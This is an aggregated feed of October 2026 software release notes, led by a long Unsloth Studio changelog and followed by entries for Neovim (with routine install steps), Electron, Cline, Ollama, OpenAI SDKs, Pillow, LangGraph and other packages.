	Keep torch's bundled flash on Blackwell for short documents under UNSLOTH_FLASH_ATTENTION_IMPL=auto by @danielhanchen in #13631
	Declared-polls probe: count only requests this Studio serves by @danielhanchen in #13690
	Studio: collapse Chat with files to a row of pills, with Show all by @shimmyshimmer in #13686
	Studio: drop the stray divider above a tool's created-files row by @shimmyshimmer in #13692
	Studio: simpler Rewind confirm, skipped for conversation-only rewinds by @shimmyshimmer in #13676
	Studio: removing a composer attachment no longer reloads the others by @shimmyshimmer in #13677
	Studio: text #0f1114 in light mode and #fcfcfc in dark, thinking text easier to read by @shimmyshimmer in #13693
	Studio: chat with files citation chips open a PDF at the cited page by @shimmyshimmer in #13691
	Studio: let read aloud go past 2048 tokens and warn when cut short by @NilayYadav in #13648
	Studio: keep SSE MCP servers as SSE when importing a data recipe by @NilayYadav in #13659
	Studio: reorder the chat + menu, with Deep research and Browser use by @shimmyshimmer in #13679
	Studio: let JSON-reply API requests still call their tools on MLX models by @NilayYadav in #13658
	Studio: Settings dropdowns glow in the pane colour in dark mode by @shimmyshimmer in #13703
	Pack Qwen3.5 text SFT with the processor, and fix eval_loss on packed text runs by @danielhanchen in #13624
	Fix main CI: rewind and Skills strings, token count harness, deep research contract, zoo 2026.10.5 scan baseline by @danielhanchen in #13701
	CI: coalesce main-push runs per workflow so merge bursts stop outrunning the runner pool by @danielhanchen in #13705
	Studio: add early stopping patience on eval loss by @danielhanchen in #13626
	CI: bound CodeQL overlay-base cache churn, unstarve the cache janitor by @danielhanchen in #13704
	Unsloth Studio: redact the credential after an Authorization scheme in research queries by @LeoBorcherding in #13499
	Fix DPO on models split across GPUs with TRL 1.15's fused LM head by @danielhanchen in #13641
	Keep the pad embedding row when the tokenizer emits the pad token by @danielhanchen in #13628
	Fix Voxtral processor saving and Voxtral Realtime training by @YashwanthNomula in #12647
	Skip xformers FA3 on H100 when the build has no sm_90a kernels by @shimmyshimmer in #13619
	Skip the per-layer RoPE stream sync unless the model spans several devices by @danielhanchen in #13609
	Train with DeepSpeed ZeRO-2 and ZeRO-3 by @danielhanchen in #13587
	CI: cancel a pull request's leftover queued and running runs when it closes by @danielhanchen in #13709
	CI: overlap browser installs and cache restores with Install Unsloth in the UI smoke jobs by @danielhanchen in #13707
	CI: run lint checks in parallel and overlap independent setup in Windows smoke and Backend CI by @danielhanchen in #13710
	Chat UI test: close the stale page browser-side instead of waiting on its renderer by @danielhanchen in #13708
	Studio: use browser Always allow rules during composer Full access by @wasimysaid in #13700
	Studio Desktop: keep a maximized window above the Windows taskbar by @danielhanchen in #13647
	CI: let staging repos save dependency caches on upstream-main by @danielhanchen in #13711
	CI: wait on events instead of fixed sleeps in Playwright smokes, backend tests and Stop Unsloth steps by @danielhanchen in #13712
	fix(studio): anchor relative PATH entries during setup by @sahacha in #13606
	Studio frontend: raise the startup bundle budget by the measured growth since the last raise by @danielhanchen in #13718
	Studio: keep the prompt cache for API clients and coding agents by @danielhanchen in #13645
	Studio: keep the browser page background when widening the panel by @shimmyshimmer in #13723
	CI: run the 34 mocked GPU-selection tests, drop dead zoo deselects, print skip reasons by @danielhanchen in #13706
	Studio Hub: Newest and Recently updated list more than Unsloth models under Recommended by @danielhanchen in #13632
	Move the Unsloth Studio MLX pins to mlx-vlm 0.7.8 by @Lyxot in #13699
	feat: add compact conversation to the chat menu by @Lyxot in #13579
	Studio: keep the composer draft across chats, pages and tabs by @shimmyshimmer in #13722
	Lint CI: scan committed files, not the tree the background lanes write into by @danielhanchen in #13728
	Studio: stop Expand thinking from restyling the whole trace by @oobabooga in #13665
	Studio: show the hovered icon's tooltip when moving between adjacent icons by @danielhanchen in #13735
	Prebuilt CUDA wheels: torch 2.10 for Windows x64 by @danielhanchen in #13740
	Studio installer (AMD, Linux): Vulkan llama.cpp for RDNA 1 and Polaris when ROCm is installed by @danielhanchen in #13694
	Studio (macOS): read the Metal working set from torch when MLX is missing by @danielhanchen in #13695
	Lint CI: skip .lanes in the whole-tree scans by @danielhanchen in #13736
	Revert "Studio Hub: Newest and Recently updated list more than Unsloth models under Recommended" by @shimmyshimmer in #13744
	Studio: search and load large MCP tool catalogs on demand by @danielhanchen in #13601
	Studio: default export load to offload_layers=auto by @indrajeetapache in #13720
	MLX: Clef Omni in Unsloth Studio, with audio in the Decision API and decision training by @Lyxot in #13538
	Composer browser simulations: log the browser process on the retry by @danielhanchen in #13745
	Hybrid packing: keep the varlen forward working after accelerate's unwrap_model (Qwen3.5 / 3.6 GRPO) by @danielhanchen in #13721
	Pick the attention backend per device on mixed-generation multi-GPU hosts by @danielhanchen in #13698
	Studio: run native image generation on Vulkan when torch is CPU-only on an AMD or Arc GPU by @danielhanchen in #13697
	Nudge-retry cancel test: bound the hang, not the runner's speed by @danielhanchen in #13750
	Compute RMSNorm weight gradient when the norm weight is trainable by @danielhanchen in #13594
	Studio: send Gemini the image just attached in a chat full of images by @NilayYadav in #13636
	Studio: prevent tooltips from hidden run settings by @wasimysaid in #13614
	Studio: say why Sandbox High is unavailable when there is nothing to install by @danielhanchen in #13732
	Decode small 4bit batches with the NF4 GEMV instead of dequantizing every token by @danielhanchen in #13642
	Studio: keep a Claude session working after an image on text-only GGUFs by @NilayYadav in #13652
	Studio: search for llama.cpp and other file names in the address bar by @NilayYadav in #13661
	Studio: open the Images and Audio workflows from the collapsed sidebar rail by @danielhanchen in #13731
	Keep the residual in Gemma and Gemma2 float32 fast decode by @vineethsaivs in #13643
	Keep the Docker notebooks and the models they save after docker rm by @NilayYadav in #13660
	Studio: keep Start Export off for a Hub push until the repo is named by @NilayYadav in #13651
	Studio: keep mid-conversation Anthropic system messages in place so new sessions reuse the prompt cache by @danielhanchen in #13727
	Studio: add an Audio API card to Settings and open it from Audio pages by @Etherll in #12821
	Studio: move the RAG embedder to CPU when its GPU llama-server keeps crashing by @danielhanchen in #13739
	Studio: forget deleted audio models once the Hub cache listing updates by @Etherll in #13630
	Studio: report prompt cache hits on the Messages and Responses APIs, and ask vLLM and SGLang for them by @danielhanchen in #13741
	Fix installer warning colors on light backgrounds by @Imagineer99 in #13572
	Studio: keep a threadless conversation's cut between requests so the prompt cache is reused by @danielhanchen in #13743
	Studio: give a killed llama-server time to exit before a reload fails by @danielhanchen in #13622
	Studio: let browser panel pages call their own site's API by @oobabooga in #13664
	Fix Gemma2 sliding-window boundaries across attention backends by @taking-lying-flat in #13730
	Studio: ask before a desktop Update stops downloads in progress by @NilayYadav in #13650
	Studio frontend: raise the startup bundle budget by the measured growth since the last raise by @danielhanchen in #13752
	Studio: seed the LoRA init with the Random Seed setting by @NilayYadav in #13637
	Studio: keep the start of an attached file larger than the context window by @danielhanchen in #13620
	Studio: render numbers wrapped in dollar signs as math, not prices by @NilayYadav in #13649
	Studio: deleting a GGUF row no longer deletes other builds at the same quant by @alkinun in #13368
	Studio: re-embed documents after switching the embedding model by @Lyxot in #13702
	Format studio/backend/routes/inference.py back to the hook's fixed point by @danielhanchen in #13765
	fix(studio): preserve chat tool selections across model unloads by @Sneakr in #13621
	Studio: install the newest audio.cpp release and offer it in updates by @Etherll in #13589
	Studio passthrough: read the backend's identity through getattr in the cut scope by @danielhanchen in #13769
	Studio: raise the startup bundle budget by #13589's measured growth by @danielhanchen in #13789
	Studio: keep the desktop browser page live when it opens as a dialog by @danielhanchen in #13734
	Studio: cache Edit-mode text encoding by reference image content by @kevin9327 in #13683
	Studio: Windows torch 2.10 kernels from our prebuilt wheels by @danielhanchen in #13742
	Measure the resume glyph's centring in viewBox units, not painted rects by @danielhanchen in #13799
	Studio: name the Windows update that adds MXC's built-in container by @danielhanchen in #13798
	Prebuilt CUDA wheels: torch 2.12 for Windows x64 by @danielhanchen in #13807
	Give the data settings driver's cold first load the same 120s as its mount wait by @danielhanchen in #13809
	Studio: stopping a model load leaves no Starting model status behind by @shimmyshimmer in #13803
	Studio: unload a model under the id the API lists for it by @danielhanchen in #13810
	Unsloth Studio / Desktop (AMD, Windows): install the Vulkan llama.cpp prebuilt when device 0 has no HIP bundle by @LeoBorcherding in #13680
	Pin vermin: 1.9.0 fails the backend floor lint on valid 3.5 syntax by @danielhanchen in #13818
	Studio: let YuE2 songs run to their own ending instead of 1.5x the length by @danielhanchen in #13371
	unsloth start opencode: never pass --model on a bare launch; OpenCode 2 rejects it by @YogeshSeeni in #13783
	Studio: read the code behind a GitHub file link in web search by @NilayYadav in #13754
	Studio: each chat keeps its own browser tabs, and the browser agent works on in chats off screen by @danielhanchen in #13800
	Studio: keep a Connection's thinking between tool calls in the same answer by @oobabooga in #13785
	Studio: install the Vulkan or CPU llama.cpp bundle on Windows NVIDIA drivers older than CUDA 12 by @oobabooga in #13671
	Studio: tighter hover pill on the chat model selector by @shimmyshimmer in #13817
	Studio: let videos in the browser panel go full screen by @NilayYadav in #13759
	Studio: keep transcribing past a damaged audio frame by @NilayYadav in #13757
	Score a 16-bit fine-tune with unsloth eval in 16-bit, not in 4-bit by @NilayYadav in #13758
	Studio: tell the model when a site's bot protection blocks a page fetch by @NilayYadav in #13760
	Studio: train ShareGPT tool calls natively on processor-loaded models by @danielhanchen in #13824
	Studio: use native Linux browser tabs with GTK overlay sizing by @wasimysaid in #13717
	Studio: add Always allow to browser agent prompts by @NilayYadav in #13777
	Studio: let tool results use the window when auto-compaction is off by @danielhanchen in #13811
	Studio: keep list numbers in Word and HTML knowledge base files by @NilayYadav in #13755
	Studio: show the browser agent cursor where it clicks and types, with a Settings toggle by @shimmyshimmer in #13729
	Studio: finite MPS memory cap and sd.cpp --mmap on macOS by @danielhanchen in #13763
	Studio Hub: drop the compact list view, make grid and split views responsive by @shimmyshimmer in #13822
	Studio: let the Linux tool sandbox use bubblewrap on NixOS and in FHS launchers by @oobabooga in #13768
	Return weight and bias gradients from the fast LayerNorm, and support bias=False by @danielhanchen in #13801
	Studio: probe the regional diffusion compile on ROCm instead of refusing it by @danielhanchen in #13774
	Studio: stop re-prompting a finished tool answer that labels its results by step by @oobabooga in #13653
	Studio: generic text-encoder dead-tail truncation for diffusion and video by @danielhanchen in #13767
	Studio: keep sd.cpp direct conv off on Vulkan and ROCm by @danielhanchen in #13773
	Studio NVFP4: one-pass activation quantiser for torchao's to_nvfp4 by @danielhanchen in #13804
	Studio diffusion: learned activation peaks, OOM retry in group offload setup, pinned GGUF host copies, tied-weight groups by @danielhanchen in #13724
	Studio: add an opt-in Settings switch to hide models that do not fit by @danielhanchen in #13814
	Studio: say when a browser panel page needs the system browser by @NilayYadav in #13761
	Read the Tauri command list inside the gated invoke_handler closure by @danielhanchen in #13836
	Studio: keep site settings across pages in the browser panel by @NilayYadav in #13762
	Studio: start audio.cpp options at each model's recommended values by @Etherll in #13764
	Allow norm layers in FastLanguageModel modules_to_save by @danielhanchen in #13805
	Studio: generate images through an external connection by @NilayYadav in #13756
	Studio: Hub Run refuses audio models that neither Audio nor Chat can run by @danielhanchen in #13812
	Studio: accept Parquet files as local Data Recipe seeds by @danielhanchen in #13839
	Studio Desktop: choose where Unsloth installs on Windows by @danielhanchen in #13446
	Studio Hub: one filter popover for capabilities, size, context and uploader, composer-style menus by @shimmyshimmer in #13749
	Trim comments in tests by @danielhanchen in #13844
	AsyncGRPOTrainer: optional SAO-style importance sampling mask by @danielhanchen in #13820
	Studio: stop llama-server crashing on macOS on Ctrl+C by @NilayYadav in #13782
	Studio: train on pre-tokenized datasets (input_ids / attention_mask / labels) by @danielhanchen in #13816
	Studio: keep the chat template of Mac LoRAs trained on multimodal base models by @danielhanchen in #13826
	Fix bfd_split truncating overflow before packing by @taking-lying-flat in #13770
	Studio: model aliases for the OpenAI-compatible API by @danielhanchen in #13361
	Studio: int8 weight-only transformer quant on Apple Silicon through the Metal int8 kernel by @danielhanchen in #13344
	Studio: stop listing a GGUF's borrowed text encoder and VAE as a model in the picker by @LeoBorcherding in #13778
	Studio: run coding agents on a Connection model by @NilayYadav in #13481
	Studio recipes: keep a finished run's pump off the next run by @danielhanchen in #13845
	unsloth run: add --engine-parallelism and --gpus for multi-GPU serving by @danielhanchen in #13838
	Run Linux frontend browser checks in two parallel groups by @heychaeyin in #13813
	Studio: send audio.cpp request fields in the form each model reads by @Etherll in #13791
	Fix DiffusionGemma sampled-prefix cache retention by @taking-lying-flat in #13780
	Studio: accept sk-unsloth API keys in the x-api-key header by @danielhanchen in #13842
	Studio: let Orpheus TTS pick one of its built-in voices by @danielhanchen in #13853
	Pass layers_pattern from FastLanguageModel.get_peft_model to LoraConfig by @vineethsaivs in #13751
	Load the zoo Hub download helpers without unsloth_zoo's package init by @danielhanchen in #13849
	Fix SDAR empty-mask resampling to match the reference by @taking-lying-flat in #13771
	Add dtype option to save_pretrained_merged for float32 merges by @danielhanchen in #13823
	fast_inference: Gemma 4 Unified, Muse Glimmer, dense Gemma 4; 4-bit fallback when no -bnb-4bit repo by @danielhanchen in #13825
	Keep fp32-only tensors (MoE router bias) in fp32 on 16-bit saves of non-PEFT models by @danielhanchen in #13819
	MLX stub: answer zoo's fused_verify_attention by @danielhanchen in #13863
	Studio Desktop: open the OS folder dialog to add a model folder by @danielhanchen in #13843
	Studio: serve /v1/completions from MLX models by @Lyxot in #13796
	Prebuilt CUDA wheels: compress the fatbins (flash-attn 1.49 GB -> ~285 MB) by @danielhanchen in #13854
	Kernels: request enable_fp_fusion=True explicitly, ahead of Triton 3.9's False default by @danielhanchen in #13828
	Desktop: explain Windows Long Paths before its UAC prompt by @danielhanchen in #13523
	Studio: install causal-conv1d and mamba-ssm only when a model needs them by @danielhanchen in #13861
	Add UnlimitedOcrTextModel to the fused-MoE conversion snapshot by @danielhanchen in #13867
	Fine-tune and export native MTP heads and DSpark drafters by @danielhanchen in #13719
	fix(studio): show a download start the moment it is requested, and ke… by @Sneakr in #13738
	fast_inference: switch Gemma 4 to Unsloth inference on GPUs below sm80 by @danielhanchen in #13864
	Studio: info stamp on image downloads, recipe in every format, load settings from an image by @danielhanchen in #13444
	Compile each transformer block as one region for every FastModel model (LoRA and QLoRA) by @TarzanZhao in #10744
	Format tests/test_triton_fp_fusion.py back to the hook's fixed point by @danielhanchen in #13887
	Studio: stream /v1/responses from MLX and other in-process models by @Lyxot in #13794
	Studio Hub: Recommended lists safetensors repos only past 30 likes, always open on Discover by @shimmyshimmer in #13886
	Docker ROCm Studio image: run GGUF chat on the GPU through Vulkan by @danielhanchen in #13852
	NF4 GEMV: drop K masks on even K and gather the NF4 table from registers by @danielhanchen in #13829
	FP8 rowwise GEMV: int64 row offsets past 2^31 elements, and skip it on Blackwell with Triton 3.3 by @danielhanchen in #13830
	Stream the chunked cross entropy forward logits with evict_first by @danielhanchen in #13893
	Studio: serve /v1/messages and count_tokens from MLX and other in-process models by @Lyxot in #13795
	MoE grouped GEMM: tl.range for the dX expert loop, drop the dead dW FLATTEN by @danielhanchen in #13831
	Launch eager RMSNorm and LayerNorm kernels through triton_launch by @danielhanchen in #13889
	Studio Hub: show the Meta logo on every Unsloth Muse re-upload by @shimmyshimmer in #13896
	Fix FastLanguageModel fused CE loss under FSDP2 with an untied lm_head by @danielhanchen in #13827
	Studio: Windows torch 2.12 kernels from our prebuilt wheels by @danielhanchen in #13808
	Studio: train a speculative decoding drafter with fine-tunes and export it for llama.cpp and vLLM by @danielhanchen in #13806
	Frontend CI: keep grouped browser logs through a second cancel signal by @danielhanchen in #13894
	Studio: support NVIDIA Nemotron 3.5 Bolt and Super GGUFs by @danielhanchen in #13899
	MoE LoRA: keep native per-expert Linears for an explicit target_modules list on transformers 4.x by @danielhanchen in #13851
	Studio: let Run settings load a Hugging Face model in 16-bit by @danielhanchen in #13841
	Studio: support Muse Spark Open GGUFs by @danielhanchen in #13903
	Fix main's red Backend CI, repo and picker contract tests after #13724, #13749 and #13828 by @danielhanchen in #13846
	Fix main's red CI after #13806, #13899 and recent formatter drift by @danielhanchen in #13909

New Contributors
	@YashwanthNomula made their first contribution in #12647
	@sahacha made their first contribution in #13606
	@YogeshSeeni made their first contribution in #13783
	@heychaeyin made their first contribution in #13813

Full Changelog: v0.1.907-beta...v0.1.908-beta

Read it at the source



lucide-react 1.59.0

lucide-react (npm) · Oct 17, 6:06 AM UTC

What's Changed feat(docs): Adds search field to docs pages by @ericfennis in https://github.com/lucide icons/lucide/pull/5012 fix(icons): changed chess queen icon by @karsa mistmere in https://github.com/lucide icons/lucide/pull/4613 Full Changelog : https://github.com/lucide icons/lucide/compare/1.58.0...1.59.0

The full piece, at the source



Nvim development (prerelease) build

Neovim · Oct 17, 5:22 AM UTC

NVIM v0.13.0-dev-1892+g9b7ec59580
Build type: RelWithDebInfo
LuaJIT 2.1.1791988261

Release notes
	Changelog (fixes + features)
	News (:help news in Nvim)

Install
Windows
Zip
	Download nvim-win64.zip (or nvim-win-arm64.zip for ARM)
	Extract the zip
	Run nvim.exe in your terminal

MSI
	Download nvim-win64.msi (or nvim-win-arm64.msi for ARM)
	Run the MSI
	Run nvim.exe in your terminal

Note: On Windows "Server" you may need to install vcruntime*.dll.
macOS (x86_64)
	Download nvim-macos-x86_64.tar.gz
	Run xattr -c ./nvim-macos-x86_64.tar.gz (to avoid "unknown developer" warning)
	Extract: tar xzvf nvim-macos-x86_64.tar.gz
	Run ./nvim-macos-x86_64/bin/nvim

macOS (arm64)
	Download nvim-macos-arm64.tar.gz
	Run xattr -c ./nvim-macos-arm64.tar.gz (to avoid "unknown developer" warning)
	Extract: tar xzvf nvim-macos-arm64.tar.gz
	Run ./nvim-macos-arm64/bin/nvim

Linux (x86_64)
If your system does not have the required glibc version, try the (unsupported) builds for older glibc.
AppImage
	Download nvim-linux-x86_64.appimage
	Run chmod u+x nvim-linux-x86_64.appimage && ./nvim-linux-x86_64.appimage
	If your system does not have FUSE you can extract the appimage:
./nvim-linux-x86_64.appimage --appimage-extract
./squashfs-root/usr/bin/nvim






Tarball
	Download nvim-linux-x86_64.tar.gz
	Extract: tar xzvf nvim-linux-x86_64.tar.gz
	Run ./nvim-linux-x86_64/bin/nvim

Linux (arm64)
AppImage
	Download nvim-linux-arm64.appimage
	Run chmod u+x nvim-linux-arm64.appimage && ./nvim-linux-arm64.appimage
	If your system does not have FUSE you can extract the appimage:
./nvim-linux-arm64.appimage --appimage-extract
./squashfs-root/usr/bin/nvim






Tarball
	Download nvim-linux-arm64.tar.gz
	Extract: tar xzvf nvim-linux-arm64.tar.gz
	Run ./nvim-linux-arm64/bin/nvim

Other
	Install by package manager


Read it at the source



electron v44.9.0

Electron · Oct 17, 4:57 AM UTC

Release Notes for v44.9.0
Features
	Added app shims on macOS to show windows under another app's Dock icon. #55073 (Also in 45)

Fixes
	Fixed link-opened windows not using the opener's session and webPreferences. #55048 (Also in 42, 43, 45)
	Fixed setCertificateVerifyProc occasionally not being applied to a request issued concurrently with the first request to a host. #55046 (Also in 42, 43, 45)


Read it at the source



async-compression-v0.4.51

async-compression (crates.io) · Oct 17, 4:48 AM UTC

Added (zstd) add mzstd v0.2.5 ( 505) Other add keywords to compression crates ( 502)

The full piece, at the source



Desktop v0.0.48

Cline · Oct 17, 4:34 AM UTC

	GPT-6 models (such as gpt-6-sol and gpt-6.1-sol) work on OpenAI and Azure OpenAI-compatible endpoints. Before, every request was rejected because Cline sent max_tokens instead of max_completion_tokens
	The Cline provider's default model is Claude Sonnet 5.5 again, which is back at the top of Cline's recommended list
	Refreshed the model catalog. Adds the CommandCode and Reflection providers. Default models change for 302.AI (Gemini 4 Argon), Eden AI and Prime Inference (Muse Spark Open), CoreWeave (Reflection Beam 1.0), NanoGPT, Pioneer (Nemotron 3.5 Super VL), and Scaleway (DeepSeek V4.1 Flash)

Full Changelog: desktop-v0.0.47...desktop-v0.0.48

Read it at the source



ComfyUI 0.41.3: ComfyUI v0.41.3

ComfyUI · Oct 17, 4:26 AM UTC

ComfyUI v0.41.3

The full piece, at the source



CLI v3.0.73

Cline · Oct 17, 3:59 AM UTC

	GPT-6 models (such as gpt-6-sol and gpt-6.1-sol) work on OpenAI and Azure OpenAI-compatible endpoints. Before, every request was rejected because Cline sent max_tokens instead of max_completion_tokens
	With no model chosen, the Cline provider uses Claude Sonnet 5.5 again, which is back at the top of Cline's recommended list
	Refreshed the model catalog. Adds the CommandCode and Reflection providers. Default models change for 302.AI (Gemini 4 Argon), Eden AI and Prime Inference (Muse Spark Open), CoreWeave (Reflection Beam 1.0), NanoGPT, Pioneer (Nemotron 3.5 Super VL), and Scaleway (DeepSeek V4.1 Flash)

Full Changelog: cli-v3.0.72...cli-v3.0.73

Read it at the source



azure-core azure-ai-projects_2.9.0

azure-core (PyPI) · Oct 17, 3:44 AM UTC

2.9.0 (2026 10 16) Features Added Added experimental Voice Agents REST and realtime tracing through AIProjectInstrumentor , including correlated session, connection and response spans, tool/lifecycle events, aggregate audio sizes and existing GenAI response metrics. Existing tracing and content recording settings apply; message content is not captured by default. Added an optional transport keywor

The full piece, at the source



Temporal 1.32.0-163.8: patched temporal version

Temporal · Oct 17, 3:22 AM UTC

patched temporal version

The full piece, at the source



Temporal 1.33.0-164.1: patched temporal version

Temporal · Oct 17, 3:22 AM UTC

patched temporal version

The full piece, at the source



@cloudflare/workerd-linux-64 v1.20261017.1

@cloudflare/workerd-linux-64 (npm) · Oct 17, 1:05 AM UTC

What's Changed Hold an actor's RPC exceptions behind its output gate by @ry in https://github.com/cloudflare/workerd/pull/7747 Defer pull to a batch's last chunk on the auto allocate path by @jasnell in https://github.com/cloudflare/workerd/pull/7764 Log internal build URL from the get go by @ketanhwr in https://github.com/cloudflare/workerd/pull/7775 STOR 5615: Set the Durable Object retry policy

The full piece, at the source



Ollama 0.40.6: win, prevent orphaned runners by @dhiltgen in #18500

Ollama · Oct 17, 12:58 AM UTC

What's Changed
	win: prevent orphaned runners by @dhiltgen in #18500
	gguf: add the q2_0 tensor and file types by @jmorganca in #18967
	Launch clef in Ollama's cloud by @jberg5 in #19036
	use identifiers for --ask mode question keys by @jberg5 in #19041

Full Changelog: v0.40.5...v0.40.6-rc0

Read it at the source



openai 7.36.0

npm releases · Oct 17, 12:39 AM UTC

The official TypeScript library for the OpenAI API

The full piece, at the source



@azure/abort-controller @azure/arm-compute_25.3.0

@azure/abort-controller (npm) · Oct 17, 12:34 AM UTC


The full piece, at the source



OpenAI Python SDK 3.33.0: api, add safety identifiers to image requests and responses (#4093) (c969e32)

OpenAI Python SDK · Oct 17, 12:29 AM UTC

3.33.0 (2026-10-16)
Features
	api: add safety identifiers to image requests and responses (#4093) (c969e32)
	api: share Decisions cache breakpoint parameter type (#4092) (f7cefda)


Read it at the source



OpenAI Node SDK 7.36.0: api, add safety identifiers to image requests and responses (#2957) (c95ccaf)

OpenAI Node SDK · Oct 17, 12:28 AM UTC

7.36.0 (2026-10-16)
Features
	api: add safety identifiers to image requests and responses (#2957) (c95ccaf)


Read it at the source



browser-use-sdk v3.12.1

browser-use-sdk (PyPI) · Oct 16, 11:33 PM UTC

Behavior changes from 3.11.3 429 and GET 502/503/504 are retried up to 3 times (~1/2/4s). An integer Retry After up to 10s is honored; a longer one raises immediately with retry after / retryAfter set. GET requests retry network failures (refused/reset connections, DNS, connect timeout, a body cut off mid read). Writes, read timeouts, TLS certificate failures, x402 and custom fetch are never retri

The full piece, at the source



libc 0.2.191

libc (crates.io) · Oct 16, 10:56 PM UTC

Support Emscripten: Support v4.0.12 to v6.0.11 ( 5610) Added Apple: Add F SETNOSIGPIPE and F GETNOSIGPIPE ( 5609) Apple: add ifaliasreq and in6 aliasreq ( 5557) FreeBSD: Add PT constants ( 5625) Haiku: Add AI and NI constants from netdb.h ( 5585) Hurd: Add POSIX SPAWN flags ( 5578) NuttX: Add AT SYMLINK NOFOLLOW ( 5614) OpenBSD: Add sensordev ( 5534) QuRT: Add isatty ( 5618) WASI: Add pthread cond

The full piece, at the source



pillow 13.0.0

pillow (PyPI) · Oct 16, 10:37 PM UTC

https://pillow.readthedocs.io/en/stable/releasenotes/13.0.0.html
Removals
	Remove undocumented GifImagePlugin._save_netpbm #9901 [@akx]
	Remove ExifTags.IFD.Makernote #9850 [@radarhere]
	Drop support for Python 3.10 #9750 [@hugovk]
	Remove deprecations for Pillow 13.0.0 #9751 [@radarhere]

Deprecations
	Deprecate IM image format #9849 [@radarhere]
	Deprecate ImageQt align8to32() in favour of raw encoder stride #9940 [@akx]
	Deprecate JpegImageFile.load_djpeg #9924 [@akx]

Documentation
	Update release notes for Pillow 13.0.0 #10223 [@hugovk]
	Correct the ImageOps.fit centering corner documentation #10118 [@FanWu-ai]
	Update Tidelift links #10102 [@radarhere]
	Correct bullet point syntax in release notes #10069 [@radarhere]
	Update ImageDraw signatures in docs #10065 [@ZainnQureshii]
	Update macOS tested Pillow versions #10048 [@hugovk]
	Add pillow-wmf and pillow-zx-spectrum to third-party plugins list #10037 [@bitplane]
	Delete CLAUDE.md #10027 [@hugovk]
	Add pillow-lunasvg to third-party plugins list #10016 [@Maksim-Burtsev]
	Extend security policy #10018 [@hugovk]
	Update Color3DLUT description #10004 [@radarhere]
	Document the internal image distinctness constraints #9752 [@akx]
	Update macOS tested Pillow versions #10000 [@radarhere]
	Link security policy in project metadata #9980 [@hugovk]
	Image.new(): correct docstring and comment about uninitialized memory #9960 [@akx]
	Add AGENTS.md #9582 [@aclark4life]
	Add release notes for #8811 #9937 [@radarhere]
	Fixed typo #9923 [@radarhere]
	Fixed typo #9922 [@radarhere]
	C interface is internal #9879 [@radarhere]
	Correct function references #9895 [@radarhere]
	Revert move from python-pillow.org to python-pillow.github.io #9830 [@aclark4life]
	Add additional CVE numbers to 12.3.0 release notes #9777 [@radarhere]
	Remove remaining :rtype:s from docstrings #9742 [@akx]
	Update macOS tested Pillow versions #9759 [@radarhere]

Dependencies
	Update dependency cibuildwheel to v4.3.1 #10175 [@renovate[bot]]
	Update dependency cibuildwheel to v4.3.0 #10132 [@renovate[bot]]
	Update dependency harfbuzz to v14.5.0 #10108 [@renovate[bot]]
	Update github-actions #10111 [@renovate[bot]]
	Update dependency check-jsonschema to v0.38.2 #10110 [@renovate[bot]]
	Update dependency fribidi to v1.0.17 #10106 [@renovate[bot]]
	Update dependency xz to v5.8.4 #10107 [@renovate[bot]]
	Add support for PyPy3.12 #10047 [@hugovk]
	Update dependency cibuildwheel to v4.2.1 #10007 [@renovate[bot]]
	Install latest Ghostscript when testing Windows #9978 [@radarhere]
	Update Ghostscript to 10.8.0 #9972 [@radarhere]
	Update dependency cibuildwheel to v4.2.0 #9947 [@renovate[bot]]
	Update github-actions #9952 [@renovate[bot]]
	Update dependency harfbuzz to v14.4.0 #9948 [@renovate[bot]]
	Update dependency mypy to v2.3.1 #9950 [@renovate[bot]]
	Update dependency check-jsonschema to v0.38.0 #9951 [@renovate[bot]]
	Update nasm to 3.02 #9857 [@radarhere]
	Update raqm to 0.11.0 #9819 [@radarhere]
	Update dependency jpegturbo to v3.2.0 #9840 [@renovate[bot]]
	Update github-actions #9845 [@renovate[bot]]
	Update github-actions #9842 [@renovate[bot]]
	Update dependency mypy to v2.3.0 #9841 [@renovate[bot]]
	Update dependency tiff to v4.7.2 #9839 [@renovate[bot]]
	Update dependency cibuildwheel to v4.1.1 #9838 [@renovate[bot]]
	Update dependency check-jsonschema to v0.37.4 #9837 [@renovate[bot]]
	[pre-commit.ci] pre-commit autoupdate #9775 [@pre-commit-ci[bot]]
	Update github-actions #9763 [@renovate[bot]]
	Update dependency check-jsonschema to v0.37.3 #9756 [@renovate[bot]]
	Update dependency cibuildwheel to v4.1.0 #9757 [@renovate[bot]]

Testing
	Install test dependencies for benchmarks #10212 [@radarhere]
	Upgrade benchmark to Python 3.15 #10197 [@radarhere]
	Do not install test dependencies in Install step #10205 [@radarhere]
	Skip test if OpenJPEG is not available #10204 [@radarhere]
	Add further FPX test images #10157 [@radarhere]
	Install palette in core image before using directly #10155 [@radarhere]
	


Read it at the source



opencode 2.0.32: release, v2.0.32

opencode · Oct 16, 10:16 PM UTC

release: v2.0.32

The full piece, at the source



langgraph==1.2.16

LangGraph · Oct 16, 10:11 PM UTC

Changes since 1.2.15
	release(langgraph): 1.2.16 (#9334)
	fix(langgraph): let other tasks finish when a resume value is invalid (#9265)
	fix(langgraph): apply a resumed Command's update once (#9322)
	fix(langgraph): stop a subgraph from rerunning its finished tasks on resume (#9315)
	fix(langgraph): save a resumed exit run's pending writes once (#9314)
	release(prebuilt): 1.1.1 (#9316)
	release(checkpoint-postgres): 3.2.0 (#9313)
	feat(checkpoint-postgres): add prune to PostgresSaver and AsyncPostgresSaver (#9290)
	fix(langgraph): keep a DeltaChannel's value when its field changes to a plain reducer (#9302)
	release(checkpoint-postgres): 3.1.3 (#9287)
	release(checkpoint-sqlite): 3.1.2 (#9288)


Read it at the source



langgraph-sdk==0.4.8

LangGraph · Oct 16, 10:09 PM UTC

Changes since sdk==0.4.7
	release(langgraph): 1.2.16 (#9334)
	release(sdk-py): 0.4.8 (#9335)
	fix(sdk-py): surface thread stream errors and stop retrying a rejected stream (#9317)
	release(prebuilt): 1.1.1 (#9316)


Read it at the source



google/cloud-storage v2.6.1

google/cloud-storage (Packagist) · Oct 16, 9:55 PM UTC

Miscellaneous Chores Storage: fix softDeletePolicy and ipFilter assertions in ManageBucketsTest ( 9768) (fccd07f)

The full piece, at the source



google/gax v1.51.1

google/gax (Packagist) · Oct 16, 9:49 PM UTC

Miscellaneous Chores remove unused or low adoption dev dependencies ( 9764) (0f8fd9c) remove google/cloud tools and shared php tools workflows ( 9785) (d8a22b7)

The full piece, at the source



google/auth v1.55.2

google/auth (Packagist) · Oct 16, 9:43 PM UTC

Miscellaneous Chores remove unused or low adoption dev dependencies ( 9764) (0f8fd9c)

The full piece, at the source



pkg/v3.270.0: Changelog and go.mod updates for v3.270.0 (#25268)

Pulumi · Oct 16, 9:26 PM UTC

